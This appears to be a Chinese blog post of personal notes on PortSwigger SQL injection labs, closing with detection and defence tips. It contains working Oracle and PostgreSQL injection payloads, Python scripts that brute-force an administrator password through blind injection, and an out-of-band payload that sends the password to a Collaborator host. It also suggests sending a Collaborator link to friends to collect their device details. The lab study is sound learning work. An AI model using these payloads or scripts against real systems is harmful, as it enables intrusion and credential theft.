Burpsuite靶场----SQL注入专题


这里主要是个人笔记,记录一些我个人要记录的点,不算是完整的write up

burpsuite给了一个很好的各种sql语句差别的整合

https://portswigger.net/web-security/sql-injection/cheat-sheet

Lab: SQL injection attack, querying the database type and version on Oracle

在oracle数据库中,每个select语句后都必须指定选择的表名,恰好oracle中有一个内置的dual

可以尝试这样

' union select 'lnk','zing' from dual --

查询oracle数据库版本

SELECT banner FROM v$version
SELECT version FROM v$instance

payload

' union select banner,'cnc' from v$version --

SQL injection attack, listing the database contents on Oracle

查询oracle数据库的的表和段

SELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'

Lab: Blind SQL injection with conditional responses

盲注脚本

其实用burpsuite跑很快就跑出结果了,python会慢一些,但是burp不能把字符串拼接起来

import requests

def blind_sql_injection(url, length):
password = ''
headers = {}
for i in range(1, length+1):
base_cookie = f"TrackingId=XN8KvPf0TbIGabZ6' and (select ascii(substring(password, %s, 1)) from users where username='administrator' )='[char]' --; session=aMdbiac40Bds8bKv3FE85vvVBsjwscrK" % str(i)
for j in range(48, 123):
print("payload-->digit:%s with " % str(i), chr(j))
cookie = base_cookie.replace("[char]", str(j))
headers['cookie'] = cookie
r = requests.get(url, headers=headers)
if "Welcome back" in r.content.decode('utf-8'):
password += chr(j)
break
print("password-->", password)


url = "https://ac241fb81ede6a4cc09132c900460036.web-security-academy.net/"
blind_sql_injection(url, 20)

这里我就只截一部分图了,懒得跑下去了,太慢了

Lab: Blind SQL injection with conditional errors

错误条件的盲注

首先加单引号报错,然后加个注释发现正常,所以判断SQL语句为

select trick_id from trick_tab where trick='vQdcV0dBQuBUyGx9'

然后判断数据库,首先查询一个空值

' union select '' --

然后尝试oracle的dual表

' union select '' from dual --

页面正常,所以数据库为oracle

接着我们尝试去一个不存在的表中查询,发现又报错,这个很明显后端在把我们输入的语句当作代码执行

select '' from lnk

这题和上面类似,只是将响应字符串取代为报错响应

于是我们参考构造payload

' union select case when(1=1) then to_char(1/0) else null end from users --

值得注意的是,当when中条件为真时,返回500,为假时,页面才是正常,这和上面刚好是相反的

一样的,首先用burp爆破出密码长度

' union select case when(username='administrator' and length(password)=1) then to_char(1/0) else null end from users --

结果如下,长度是20

exp

import requests

def blind_sql_injection(url, length):
password = ''
headers = {}

for i in range(1, length + 1):
base_cookie = f"TrackingId=PnmnAqssW0voE21g' union select case when (username='administrator' and ascii(substr(password, %s, 1))=[char]) then to_char(1/0) else null end from users --; session=ZTFD8NTb6aoJjWU0ENRuwMHso9ySKox2" % str(i)
for j in range(48, 123):
print("payload-->digit%s with " % str(i), chr(j))
cookie = base_cookie.replace("[char]", str(j))
headers["cookie"] = cookie
r = requests.get(url, headers=headers)
if 500 == r.status_code:
password += chr(j)
break
print("password-->", password)


url = "https://ac6d1f6a1ea307acc1c50c14006000ca.web-security-academy.net/"
length = 20
blind_sql_injection(url, length)

Lab: Blind SQL injection with time delays and information retrieval

时间盲注,用burp cheat sheet给的payload fuzz下数据库,发现是PostgreSQL

接着用类似的payload测试延时注入

' || (select case when (1=1) then pg_sleep(1) else pg_sleep(0) end from users) --

burp测试一下,password长度还是20

' || (select case when (username='administrator' and length(password)=20) then pg_sleep(1) else pg_sleep(0) end from users) --

这里python脚本的timeout和sleep不太一样,我暂时还爆破不出来,如果有知道的师傅希望能告诉我一下(🏀⚽️了

用burp爆破只能开1个线程,开多了也会导致有错误,反正就挺恶心挺费时的这题

payload

'+||+(select+case+when+(username='administrator'+and+substring(password,§1§,1)='§a§')+then+pg_sleep(2)+else+pg_sleep(0)+end+from+users)+--

Lab: Blind SQL injection with out-of-band interaction

利用带外(OAST)技术发动盲注

点击burp的Burp Coolaborator client生成一个临时地址,发送给你的好友,他们点击之后就会收到一些信息

看ua头可以看到对方的一些设备基本信息

TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//YOUR-COLLABORATOR-ID.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--

这个是burp给的一个payload模板,打过去就可过这个lab

第二个实验就是用oast技术泄漏出信息

我们可以在上面模板中的域名里写入sql语句带出查询的数据

payload

x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(select password from users where username='administrator')||'~cp5gpi5bar1xg1c1n8t3ehnk5bb1zq.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--

这样就带出了密码

二次注入

burp的这张图很形象的展示了二次注入的基本利用

首先查询一个正常的,接着以分号为界,后面的又会被当作sql语句去执行

总结和检测sql注入以及防御

  • 可以通过工具比如burp和sqlmap进行检测sql注入
  • 添加单引号’等字符查看是否有报错信息
  • 提交一些特定sql语句,输入一些基本的值和其他的值,观察系统页面响应是否有变化或者差异
  • 利用bool条件or 1 = 1or 1 = 2判断页面响应是否不一样
  • 提交一些触发延时的payload看页面响应是否同延时有关
  • 利用OAST payloads ,监视是否有交互

一些sql注入的点

一些数据库的不同造成的差异

依然是这个链接

防御

  • 一般大部分的sql注入都可以通过预处理语句就是参数化查询来避免
  • 完善白黑名单
  • 关闭错误提示
  • 统一编码
  • 闭合可控的变量,并且转义
  • 安装WAF

参考

portswigger sql靶场

对MYSQL注入相关内容及部分Trick的归类小结

梨子带你刷burpsuite靶场系列之服务器端漏洞篇 - Sql注入专题

sql盲注python脚本

Burpsuite靶场----SQL注入专题

https://lhxhl.github.io/2022/03/02/burp_sql/

作者

秋秋晚

发布于

2022-03-02

更新于

2023-01-10

许可协议

评论

:D 一言句子获取中...